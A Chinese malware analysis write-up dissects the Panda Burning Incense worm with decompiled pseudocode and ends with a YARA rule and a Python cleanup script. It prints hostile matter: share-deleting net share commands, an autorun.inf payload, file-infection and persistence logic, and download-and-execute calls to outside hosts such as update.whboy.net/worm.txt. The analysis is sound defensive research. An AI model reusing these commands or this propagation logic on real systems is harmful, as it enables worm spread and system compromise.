大小: 30001 bytes
修改时间: 2018年7月14日, 8:40:21
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C
主要工具:PcHunter,火绒剑,IDA,OD。
主要关注是进程、启动项还有网络。
保存快照,运行病毒,虚拟机里的PE文件都被感染,PE信息被改变。
使用内核级ARK工具PcHunter分析一下病毒做了什么。
分析时如果需要u盘,那么u盘要设置为只读属性。
注意蓝色的进程为用户进程。这个图标为熊猫的进程非常明显,路径为C:\Windows\System32\drivers\spo0lsv.exe
右键-定位到进程文件,把这个文件复制到分析目录中,一会分析后结束进程。
启动项根据路径,同样发现了恶意进程。右键结束。
服务和计划任务模块没有发现可疑进程。
网络模块发现了该进程的网络连接,所以可以用WSExplorer抓包看一下流量。
选定恶意进程后抓到了很多数据包,其中大多经过加密。
其余模块没有发现可疑信息。
经过简单的分析,已经提取出了spo0lsv.exe
。将恶意进程和启动项处理之后,开始进行行为分析。
将病毒拖拽到火绒剑中,监控病毒行为。
主要看cmd.exe
的命令行。
4个cmd执行了以下命令:
cmd.exe /c net share C$ /del /y
cmd.exe /c net share admin$ /del /y
这两个命令关闭了网络共享。
过滤勾选文件修改与写入两项。
有很多.ini
文件被创建,但是设置了隐藏属性,需要用PcHunter去除隐藏属性,打开后发现里面写入了日期。
勾选设置和创建注册表两项。
创建了两项注册表键值:
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASAPI32
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\spo0lsv_RASMANCS
设置表值大多为让隐藏文件不显示。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
勾选全部进程相关项。
发现有遍历进程、执行spo0lsv.exe
、打开设备,以及大量的查找窗口。
查看打开设备进程的调用堆栈,发现是调用了网络模块:
关注FILE_touch
,可以发现关键的创建恶意文件的进程:
其中inf文件指定setup.exe自启动。
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
值得一提,熊猫烧香最初是在网吧里通过网络共享传播的。
这些请求中有局域网IP、外网IP和大型网站域名,其中对大型网站的请求应该会为了测试网络功能是否正常。
第一部分已经大致分析出来它的行为,感染exe,图标变为熊猫烧香,生成隐藏的ini文件。
desktop.ini
文件写入日期;C:\Windows\System32\drivers\spo0lsv.exe
,并注册自启动;spo0lsv_RASAPI32,spo0lsv_RASMANCS
;大概流程就是AO分析法:用IDA分析并猜测功能,用OD验证功能。这个过程可以用IDA生成map文件,OD插件LoadMapEx加载。
之前根据PEid的信息,病毒文件有FSG压缩壳,所以用x32dbg及其scylla插件脱壳。
脱壳后用PEid深度扫描,显示语言是Delphi 6-7。
于是用IDA打开文件,添加BDS签名。
主函数中有3个没有解析出来的函数:· sub_405250, sub_40819c, sub_40d18c, sub_40d088
,下面要依次分析OEP开头以及这4个函数。
seg000:0040D292 mov ebx, offset g_dwArray206
seg000:0040D297 mov esi, offset Msg
seg000:0040D29C xor eax, eax ; eax = 0
seg000:0040D29E push ebp
seg000:0040D29F push offset loc_40D669
seg000:0040D2A4 push dword ptr fs:[eax]
seg000:0040D2A7 mov fs:[eax], esp ; seh
seg000:0040D2AA mov eax, dword_40D678
seg000:0040D2B0 mov [ebx], eax
seg000:0040D2B2 mov eax, dword_40D67C
seg000:0040D2B8 mov [ebx+4], eax
seg000:0040D2BB mov ax, word_40D680
seg000:0040D2C2 mov [ebx+8], ax
seg000:0040D2C6 mov al, byte_40D682
seg000:0040D2CC mov [ebx+0Ah], al ; init g_dwArray206
seg000:0040D2CF mov eax, offset dword_40F7DC
seg000:0040D2D4 mov edx, offset dword_40D68C
seg000:0040D2D9 call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
seg000:0040D2DE mov eax, offset dword_40F7E0
seg000:0040D2E3 mov edx, offset dword_40D6B0
;...
seg000:0040D5D3 lea ecx, [ebp+var_14]
seg000:0040D5D6 mov edx, offset aXboy_0 ; "xboy"
seg000:0040D5DB mov eax, offset dword_40D8A0
seg000:0040D5E0 call sub_405250
seg000:0040D5E5 mov edx, [ebp+var_14]
seg000:0040D5E8 mov eax, dword_40F7D4
seg000:0040D5ED call @System@@LStrCmp$qqrv ; System::__linkproc__ LStrCmp(void)
seg000:0040D5F2 jz short loc_40D5FD
seg000:0040D5F4 push 0 ; uExitCode
seg000:0040D5F6 call j_ExitProcess_0
OEP在设置SEH之后,初始化一个全局4字节数组,多次调用lStrAsg()
初始化字符串变量,
F5生成的伪代码有误,尤其是4个函数,enter进入后esc退出就可以修正:
执行完第4个函数后,有一个消息循环,等待程序结束。
sub_405250((int)dword_40D8A0, (int)"xboy", (volatile signed __int32 *)&v6);// 1
System::__linkproc__ LStrCmp(0, v6);
if ( !v0 )
j_ExitProcess_0(0);
sub_405250((int)dword_40D8DC, (int)"whboy", (volatile signed __int32 *)&v5);// 1
System::__linkproc__ LStrCmp(dword_40D908, v5);
//两次验证
if ( !v0 )
j_ExitProcess_0(0);
sub_40819C(); // 2
sub_40D18C(); // 3
sub_40D088(); // 4
while ( j_GetMessageA(&Msg, 0, 0, 0) )
j_DispatchMessageA(&Msg);
__writefsdword(0, v2);
v4 = (int *)&loc_40D670;
v1 = System::__linkproc__ LStrArrayClr(&v5, 2);
System::__linkproc__ Halt0(v1);
}
两次调用这个函数后,会进行字符串比较,而且这个函数传递了局部变量地址,所以猜测这个函数会生成校验字符串。
OD加载程序和map文件,在这里下断点分析。调用这个函数后,局部变量指向了一段字符串:"***武*汉*男*生*感*染*下*载*者***"
,然后校验,校验不通过则结束进程。第二次调用该函数也是这样的流程,只是字符串变成了uup2…uxetm/vhjnx.fdu/nsm&uyt"
。
函数开头执行了3个函数:
先是System::ParamStr(int)
,传入了一个局部地址,那么观察这个地址,执行之后,变为当前程序路径。
然后是一个未识别的库函数:
004081CA . 8B85 48FCFFFF mov eax,dword ptr ss:[ebp-0x3B8]
004081D0 . 8D95 4CFCFFFF lea edx,dword ptr ss:[ebp-0x3B4]
004081D6 . E8 99D3FFFF call
这个函数传入了上一个函数用到的地址和一个紧挨的地址,观察第2个地址,调用之后变为当前文件夹路径。所以,我在IDA中把这个函数命名为func_GetCurDir
,更新map文件并及时保存到主机。
然后,又调用了lStrCat
,连接文件夹路径和Desktop_.ini
,得到了要生成的文件路径,后面应该有地方会写入日期。
004081DB . 8D85 4CFCFFFF lea eax,dword ptr ss:[ebp-0x3B4]
004081E1 . BA 98874000 mov edx, ; ASCII "Desktop_.ini"
004081E6 . E8 E9BCFFFF call
//使用上面的指令获取Desktop_.ini路径
if ( Sysutils::FileExists(pCurDir) ) // 如果文件存在
{
j_DeleteFileA(v4); //删除
}
然后,程序判断这个ini文件是否存在,如果存在,就会删除它。
然后,再次获取当前路径,并调用了另一个用户函数后进入循环,循环中也调用了2个没有识别成功的函数。进入一层查看,其实unknown_libname_70只是调用了
LStrFromPCharLen`。
407650传入了新获得的当前路径和局部变量地址,OD中观察ebp-4
,发现调用这个函数之后指向了"MZ"
.
循环索引初始化为一个比"MZ"
地址低4字节的DWORD,值为0x018200
.
012933D8 01 00 00 00 00 82 01 00 .....?.
012933E0 4D 5A 00 00 00 00 00 00 MZ......
但是,这个循环在OD中一次也没有执行,因为第二个条件*((char *)a2 + i - 1)
一开始就不满足。
经过后面的分析,如果程序是本感染的exe,这一段循环就会执行。
所以直接往下分析。
if ( !v79 ) // v79已经clr,所以!v79为真
{
System::ParamStr(0); // 获取当前路径
Sysutils::AnsiUpperCase(pCurPath_4, (LPSTR *)&pCurPathUpper_4);
pUpperAsciiPath = pCurPathUpper_4; // 大写路径字符串
GetSystemDirString((int *)&pSysPath_0);
v39 = pSysPath_0; // 获取系统目录字符串
// C:\Windows\system32\
System::__linkproc__ LStrCatN(&v61, 3, v4, "drivers\\", "spo0lsv.exe");//
// C:\Windows\system32\drivers\spo0lsv.exe
Sysutils::AnsiUpperCase(v61, (LPSTR *)&v62);//
// C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE
System::__linkproc__ LStrCmp((int)pUpperAsciiPath, v62);
if ( !isStrEqual ) // !isStrEqual为真
{
func_EnumProcessAndKillSpo0lsv_exe("spo0lsv.exe");
func_EnumProcessAndKillSpo0lsv_exe("spo0lsv.exe");//
// 查找`spo0lsv.exe`是否启动,如果启动,就将它终止
pUpperAsciiPath = (int *)128;
GetSystemDirString((int *)&pSysPath_1);
v39 = pSysPath_1; // 获取系统目录字符串
// C:\Windows\system32\
System::__linkproc__ LStrCatN(&v59, 3, v6, "drivers\\", "spo0lsv.exe");
pEvilFile_0 = (const CHAR *)System::__linkproc__ LStrToPChar(v59);//
// C:\Windows\system32\drivers\spo0lsv.exe
j_SetFileAttributesA(pEvilFile_0, vTmp); // Set FIle attribute->NORMAL
j_Sleep(1u);
vTmp = 0;
GetSystemDirString((int *)&pSysPath_2);
v36 = pSysPath_2; // 获取系统目录字符串
// C:\Windows\system32\
System::__linkproc__ LStrCatN(&v57, 3, v8, "drivers\\", "spo0lsv.exe");
pEvilFile_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v57);//
// C:\Windows\system32\drivers\spo0lsv.exe
System::ParamStr(0);
v10 = (const CHAR *)System::__linkproc__ LStrToPChar(pCurPath_5);//
// 再次获取当前文件路径
j_CopyFileA(v10, pEvilFile_1, v34); // copy file
// ExistingFileName = "C:\Users\15pbwin7\Desktop\xiongmao\xiongmao_dump_SCY.exe"
// NewFileName = "C:\Windows\system32\drivers\spo0lsv.exe"
// FailIfExists = FALSE
v34 = 1;
GetSystemDirString(&pSysPath_3);
System::__linkproc__ LStrCatN(&v54, 3, v11, "drivers\\", "spo0lsv.exe");
pCmdLine = (const CHAR *)System::__linkproc__ LStrToPChar(v54);//
// C:\Windows\system32\drivers\spo0lsv.exe
j_WinExec(pCmdLine, nCmdShow); // 执行恶意文件
j_ExitProcess_0(0);
}
}
这一部分会先遍历进程,查找spo0lsv.exe
是否启动,如果启动,就将它终止。
func_EnumProcessAndKillSpo0lsv()
{
v2 = (void *)CreateSnapShot(2, 0); // 创建快照
for ( i = func_ProcessFirst(v2, &v15) >= 1; i; i = func_ProcessNext(v2, &v15) >= 1 )
{
if ( find_proc )
{
v1 = (char *)func_TerminateProc(v16); //终止进程
j_CloseHandle_0(v2);
}
}
j_CloseHandle_0(v2); // 关闭快照
}
程序会自我拷贝到系统路径:``\drivers\spo0lsv.exe,并且马上执行,之后终止进程。新的进程就不会在这里终止了,而是继续执行下面的代码。但是无论如何动态调会,都不能执行下面的指令,于是暂时略过,开始分析
sub_40d18c`。
感染exe的函数是407F00.
选择一个被感染的exe,用OD加载,程序与病毒本身是一样的。开头还会那两处校验,用“xboy”和“whboy”作为秘钥分别解密一段字符串进行验证,验证失败就会结束进程。
再往下发现三个分析过的关键函数,其实包括上面的验证,都是病毒本身的程序。
被感染文件和病毒本身的区别在于,第一个关键函数里会删除Desktop_.ini
,然后执行之前没有分析的循环,之后生成源文件并把本感染的文件本身删除。另外两个恶意函数没有区别。
被感染的程中间存储了感染前的真正PE,恢复前后信息如下:
被感染文件结尾有这样的信息:
Whboy文件名.后缀.后缀.正常文件大小
感染的关键代码:
pCurVirusPath_2 = (const CHAR *)System::__linkproc__ LStrToPChar(pCurVirusPath_1);
if ( j_CopyFileA(pCurVirusPath_2, pTarget_2, 0) )// 病毒覆盖目标文件
{
System::__linkproc__ LStrCatN(&pPostFix, 6, v5, arg1, dword_408198);//
// "Whboy文件名.后缀.后缀 文件大小"
System::__linkproc__ LStrLAsg(&PE_1, pTargetPE);// 指向读出来的PE
v6 = System::__linkproc__ Append(&v24);// 追加
v7 = WriteInfContet((int)&v24, PE_1);// 原文件写入新文件(病毒)末尾
v9 = WriteInfContet((int)&v24, pPostFix);// 文件追加后缀
}
因为后面函数太多,所以从这里开始在IDA中用标号给函数命名。
这个函数调用了3个函数。
int __fastcall func_2()
{
int v0; // eax@0
int v1; // edx@0
int v2; // ecx@0
func_2_0();
func_2_1();
return func_2_2(10);
}
0:0040A5B0 func_2_0 proc near ; CODE XREF: func_2 p
seg000:0040A5B0 push ecx
seg000:0040A5B1 push esp ; lpThreadId
seg000:0040A5B2 push 0 ; dwCreationFlags
seg000:0040A5B4 push 0 ; lpParameter
seg000:0040A5B6 push offset func_2_0_thread ; lpStartAddress
seg000:0040A5BB push 0 ; dwStackSize
seg000:0040A5BD push 0 ; lpThreadAttributes
seg000:0040A5BF call j_CreateThread_0
seg000:0040A5C4 pop edx
seg000:0040A5C5 retn
seg000:0040A5C5 func_2_0 endp
这里创建了一个线程,执行的函数为sub_40A48C
,暂时命名为func_2_0_thread
。
简化流程:
void __userpurge __noreturn func_2_0_thread(LPVOID lpThreadParameter)
{
FindDriverC((const void **)&v21, v1, v2, v3); // v21 = "C" 代表C盘
v4 = func_get_a_num((int)v21);
while ( 1 )
{
do
v5 = v4;
while ( v4 < 1 );
do
{
pC = "C:\\";
func_recurion_0(*(int *)v12); // 一个递归函数
--v5;
}
while ( v5 );
}
}
循环中调用了一个很长的函数,经过后面的分析,它是递归函数,所以命名为func_recurion_0
。
int __fastcall func_recurion_0(int eax0)
{
if ( v176[v1 - 1] != '\\' ) // 条件为假
System::__linkproc__ LStrCat((const void **)&v176, dword_40A1B0);
System::__linkproc__ LStrCat3(&pAllInC, v176, "*.*");//
// "C:\\*.*"
if ( !Sysutils::FindFirst(pAllInC, '?', &v171) )
{
while ( (v172 & 0x10) == 0x10 && *(_BYTE *)pRecycleBin != 0x2E )
{
/*
栈中存储了指向文件夹名称的指针,以"C:\\Recycle.Bin"间隔
*/
if ( !Sysutils::FileExists(pDesktopIni_0) ) //如果ini文件不存在
{
j_GetLocalTime(&SystemTime);
Mxdsql::ShowSQLWindow(pDate_1, v110); // 写入日期
func_recurion_0(v108); // 递归!!!!!!!!
goto LABEL_60;
}
ReadIniFile(a1, (const void **)&pDate_0);
j_GetLocalTime(&SystemTime);
System::__linkproc__ LStrCmp((int)pDate_0, pDate_1);
if ( !isStrEqual ) // 如果已经存在同名ini且读出日期字符串不相等
{
Mxdsql::ShowSQLWindow(pDate_1, v116); // 写入日期
}
System::__linkproc__ LStrCat3(&pDesktopIni_2, v176, pRecycleBin);//
// "C:\\$Recycle.Bin\\Desktop_.ini"
func_recurion_1(pDesktopIni_2); // 又是一个递归函数
LABEL_60:
if ( Sysutils::FindNext(&vArray) )
goto LABEL_61;
}
if ( *(_BYTE *)pRecycleBin != '.' )
{
sub_405348(pRecycleBin, &v106);
Sysutils::UpperCase(v106);
System::__linkproc__ LStrCmp(v107, (int)"GHO");
if ( isStrEqual )
{
System::__linkproc__ LStrCat3(&v105, v176, pRecycleBin);
v40 = (const CHAR *)System::__linkproc__ LStrToPChar(v105);
j_DeleteFileA(v40); //删除gho文件
}
if ( sub_40791C(v104) < 0xA00000 )
{
/*
栈中填充各种文件类型
*/
if("setup.exe" || "NTDETECT.COM")
goto LABEL_60;
if("EXE" || "SCR" || "PIF" || "COM")
{
System::__linkproc__ LStrCat3(&v84, v176, pRecycleBin);
sub_407F00(v96); // ;
// 感染exe,scr, pif, com
}
if("htm" || "html" || "asp" || "php" || "jsp" || "aspx")
{
System::__linkproc__ LStrCat3(&v60, v176, pRecycleBin);
sub_4079CC(v60);
}
}
}
goto LABEL_59;
}
可以看到,这个递归函数里还有另一个递归函数,它们的功能大致相同,都会感染指定类型的文件,创建Desktop_.ini
并写入日期。
以第2个递归函数为例,栈中存放了很多看似文件夹名称字符串的指针,并且以序列号间隔。序列号和目录连接后得到的目录在PcHunter中查看也是存在的。
另外还有被感染的文件类型:
0:0040C374 func_2_1 proc near ; CODE XREF: func_2+5 p
seg000:0040C374 push offset func_2_1_timefunc ; lpTimerFunc
seg000:0040C379 push 1770h ; uElapse,6s
seg000:0040C37E push 0 ; nIDEvent
seg000:0040C380 push 0 ; hWnd
seg000:0040C382 call j_SetTimer
seg000:0040C387 mov dword_40E2AC, eax
seg000:0040C38C retn
seg000:0040C38C func_2_1 endp
这个函数设置了一个定时器,每隔6s执行一次函数,检查创建的文件是否仍然存在,也算是一种自我保护。
这个定时器的回调函数很明显,用来创建C:\\setup.exe, C:\\autorun.inf
,根据IDA,伪代码如下:
void func_2_1_timefunc()
{
while ( 1 )
{
pSetupExe = "C:\\setup.exe");
pAutoRunInf = "C:\\autorun.inf");
if ( FileExists(pSetupExe) )
{
j_DeleteFileA(pSetupExe);
// 删除旧的setup.exe
j_CopyFileA("C:\Windows\System32\drivers\spo0lsv.exe", "C:\\setup.exe");
// C:\Windows\System32\drivers\spo0lsv.exe
// 复制为新的setup.exe
}
else
{
j_CopyFileA("C:\Windows\System32\drivers\spo0lsv.exe", "C:\\setup.exe");
// C:\Windows\System32\drivers\spo0lsv.exe
// 复制为setup.exe
}
if ( !FileExists(pAutoRunInf) )
{
j_CreateFileA_0(pAutoRunInf);
WriteInfContet(
hFile, "AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n");
}
ReadInfContet(pAutoRunInf, (const void **)&v52, v3, a2, a3);
v10 = StrCmp(
v52,
"AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n");
if ( !v10 )
break;
}
LABEL_19:
}
如果setup.exe
已经存在,就会覆盖它。否则直接创建。autorun.inf
是一样的流程,只不过如果已经存在,会读取内容检查是否本来就由自己创建。
autorun.inf
文件写入的内容:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
也就是让刚刚复制的恶意文件自启动。
int __fastcall func_2_2(__int16 arg0_0xA)
{
System::Randomize();
for ( ; v1; --v1 )
System::BeginThread(0, 0, (int (__fastcall *)(void *))func_2_2_thread, 0, 0, (unsigned int *)&v6);
return 0 ;
}
这里创建了0xA个调用同一个函数的线程。
int func_2_2_thread()
{
v0 = func_CreateClass((int **)dword_40A65C, 1u);// *v0 == 40A65C
sub_40B864(v0);
return 0;
}
第一个函数很短,调用了ClassCreate()
,所以暂时这样命名。第2个函数伪代码如下:
void __fastcall sub_40B864(int arg0)
{
while ( 1 )
{
while ( !j_InternetGetConnectedState(0, 0) )
j_Sleep(0x3E8u);
sub_40B520(v12);
sock_0 = j_socket(2, 1, 6);
name.sa_family = 2;
name.sa_data[0] = j_htons(139u); // 139端口套接字
name.sa_data[2] = j_inet_addr(pIP);
if ( j_connect(sock_0, &name, 16) == -1 )
{
sock_1 = j_socket(2, 1, 6);
name.sa_family = 2;
name.sa_data[0] = j_htons(445u);// 445端口套接字
name.sa_data[2] = j_inet_addr(pIP);
if ( j_connect(sock_1, &name, 16) != -1 )
{
sj_closesocket(sock_1);
System::__linkproc__ LStrCat3(arg0 + 24, "\\\\", *(_DWORD *)(v12 + 20));
func_netOperation(arg0_, *(_DWORD *)(arg0_ + 24));
}
}
else
{
func_netOperation(arg0_, *(_DWORD *)(arg0_ + 24));
}
}
}
发现了网络套接字创建和连接流程,所以这个线程是网络相关的,它会连接某个ip的139或445端口,根据第一部分PcHunter的分析,它应该会连接局域网IP。
连接成功后会执行func_netOperation
这个函数,其中恶意文件被再次拷贝,并涉及管理员操作。具体做了什么暂时忽略。
UINT_PTR func_3()
{
dword_40E2B0 = j_SetTimer(0, 0, 1000u, func_3_timerfunc_0);// 1s
dword_40E2B4 = j_SetTimer(0, 0, 1200000u, func_3_timerfunc_1);// 20min
uIDEvent = j_SetTimer(0, 0, 10000u, func_3_timerfunc_2);// 10s
j_SetTimer(0, 0, 6000u, func_3_timerfunc_3); // 6s
j_SetTimer(0, 0, 10000u, func_3_timerfunc_4); // 10s
return j_SetTimer(0, 0, 1800000u, func_3_timerfunc_5);// 30min
}
最后一个关键函数创建了6个定时器。
void __stdcall func_3_timerfunc_0()
{
sub_4051BC((LPCSTR)0x80000001, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", (BYTE *)"svcshare", pEvil_);//
// 注册表启动项
// 0x80000001-HKEY_CURRENT_USER
sub_4059F0(
HKEY_LOCAL_MACHINE,
(int)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue",
0); // 隐藏属性
// 0x80000002-HKEY_LOCAL_MACHINE
}
这个回调函数每隔1s就会重新注册恶意文件为启动项,并且设置路径隐藏属性。
void __fastcall func_3_timerfunc_1(int a1, int a2, int a3)
{
Thrd_DownloadExecFile(a1, a2, a3);
}
这个回调函数每隔20min执行一次,它会创建一个线程,获取html资源:
sub_40C4EC("`uup2..wv/ak97.ko.6>.tp&uyt", &pUpTxt);// pUpTxt =
// "http://www.ac86.cn/66/up.txt"
pHTML_ = (const CHAR *)System::__linkproc__ LStrToPChar(pUpTxt);
sub_40C5E0(pHTML_); // 获取HTML
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="refresh" content="0; url=http://817.dopa.com/?dm=ac86.cn&acc=19FFCF05-7D9A-488F-8F14-7DB590209E35&poprequest=1">
<script type="text/javascript">
function redirect(){
window.location.href = "http://817.dopa.com/?dm=ac86.cn&acc=19FFCF05-7D9A-488F-8F14-7DB590209E35&poprequest=1";
}
setTimeout('redirect()',1500);
script>
<title>title>
head>
<body>
body>
html>
这个页面进行了重定向,目前已经失效。
然后执行这样一个循环体:
getSepStrLen(v16, v17)
URLDownloadToFileA("C:\\windows\\xhtml1-transitional.dtd>");
j_WinExec(pFile, 0); // 执行这个文件
也就是下载恶意文件并执行。
void __fastcall func_3_timerfunc_2(int a1, int a2, int a3)
{
int v3; // [sp-4h] [bp-4h]@1
j_CreateThread_0(0, 0, Thrd_DownloadExecFile, 0, 0, &v3);
j_CreateThread_0(0, 0, ExecEvilCmd, 0, 0, &v3);
j_KillTimer(0, 0);
}
这个回调函数每隔10s执行一次,每次创建两个线程,,然后关闭之前设置的所有定时器。
其中一个线程是刚刚分析的下载资源并执行的函数,另一个经过分析,是执行命令的线程:
j_WinExec("cmd.exe /c net share C$ /del /y", 0); // 执行
j_WinExec("cmd.exe /c net share admin$ /del /y", 0);
而且,这个函数会关闭之前设置的定时器。
这个线程目标很明显,是操作注册表,关闭杀软启动项和服务。
这个线程会请求5个页面,测试网络功能。网址需要先解密。
成功打开后,会获取网站html资源。OD观察栈窗口,可以看到搜狐没有返回,谷歌连接失败返回了“QQ”。
最后一个定时器每隔30分钟执行一次回调函数,这个函数会从一个网站下载html,然后执行。伪代码如下:
void __usercall func_3_timerfunc_5(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
html = GetHtml("http://update.whboy.net/worm.txt");
j_URLDownloadToFileA("C:\\windows\\EVILFILE", html);// 下载文件
j_WinExec("C:\\windows\\EVILFILE", 0);
}
在带壳的文件中查找字符串“xboy”和“whboy”,发现它们没有被加密,于是可以编写一个简单的yara规则:
rule xiongmao
{
strings:
$xboy = "xboy"
$whboy = "whboy"
condition:
$xboy at 25927 or $whboy at 18720
}
也可以查出病毒,所以就没必要再添加hdb到数据库了:
----------- SCAN SUMMARY -----------
Known viruses: 4833061
Engine version: 0.99.2
Scanned directories: 1
Scanned files: 3
Infected files: 3
Data scanned: 0.21 MB
Data read: 0.21 MB (ratio 1.00:1)
Time: 15.678 sec (0 m 15 s)
#coding:utf-8
import os
import psutil
import traceback
import time
import _winreg
import stat
def getFiles(strRootPath, listFile):
if "Windows" in strRootPath:
return
listDirOrFile = os.listdir(strRootPath)
for file_or_dir in listDirOrFile:
file_or_dir = os.path.join(strRootPath, file_or_dir)
if os.path.isdir(file_or_dir):
getFiles(file_or_dir, listFile)
elif file_or_dir.endswith(".exe"):
with open(file_or_dir, "rb") as fr:
fr.seek(0x7531, 0)
if "MZ" == fr.read(2):
dictFiles["exe"].append(file_or_dir)
elif file_or_dir.endswith("Desktop_.ini"):
dictFiles["ini"].append(file_or_dir)
def del_file(strFilePath):
try:
os.remove(strFilePath)
except Exception as e:
print("delete %s failed" % strFilePath)
print(traceback.print_exc())
else:
print("delete %s file successfully" % strFilePath)
if __name__ == "__main__":
for proc in psutil.process_iter():
pinfo = proc.as_dict(attrs=['pid', 'name'])
#print pinfo
if "spo0lsv.exe" != pinfo['name']:
continue
xiongmao = psutil.Process(pinfo['pid'])
connections = xiongmao.connections()
xiongmaoPath = xiongmao.cmdline()[0]
cwd = xiongmao.cwd()
print("cmdline: %s" % xiongmaoPath)
print("cwd: %s" % cwd)
#for conn in connections:
#print conn
# 1. kill process
try:
xiongmao.kill()
except Exception as e:
print("kill failed")
print(str(e))
else:
print("kill evil proc")
time.sleep(0.5)
# 2. delete file made by virus:
# c:\windows\system32\drivers\spo0lsv.exe
# c:\setup.exe
# c:\autorun.inf
del_file(xiongmaoPath)
# remove hiden and readonly attr
os.system(r"attrib -s -r -h C:\setup.exe")
os.system(r"attrib -s -r -h C:\autorun.inf")
del_file(r"C:\autorun.inf")
del_file(r"C:\setup.exe")
# 3. delete regKeys made by virus
key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,r'Software\Microsoft\Tracing',0,_winreg.KEY_WRITE)
_winreg.DeleteKey(key, "spo0lsv_RASAPI32")
_winreg.DeleteKey(key, "spo0lsv_RASMANCS")
key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
_winreg.DeleteValue(key, "svcshare")
print("Delete virus RegKeys successfully")
print("\n")
# 4. Recover infected exe
dictFiles = {}
dictFiles["exe"] = []
dictFiles["ini"] = []
listAccess = [r"C:\Program Files"]
for dir in listAccess:
getFiles(dir, dictFiles)
# delete Desktop_.ini
for ini in dictFiles["ini"]:
os.chmod(ini, stat.S_IWRITE)
del_file(ini)
print("Delete %d Desktop_.ini" % len(dictFiles["ini"]))
for pePath in dictFiles["exe"]:
print("Infected PE name %s" % pePath)
with open(pePath, "rb") as fr:
fr.seek(0, 2)
for i in range(20):
fr.seek(-2, 1)
#print("%x" % fr.tell())
filesize = fr.read(1)
if ord(filesize) == 2:
filesize = int(fr.read(i))
fr.seek((-1)*i, 1)
break;
if type(filesize) == str:
continue
print("filesize: %d" % filesize)
fr.seek(0x7531, 0)
PE = fr.read(filesize)
with open(pePath, "wb") as fw:
fw.write(PE)
break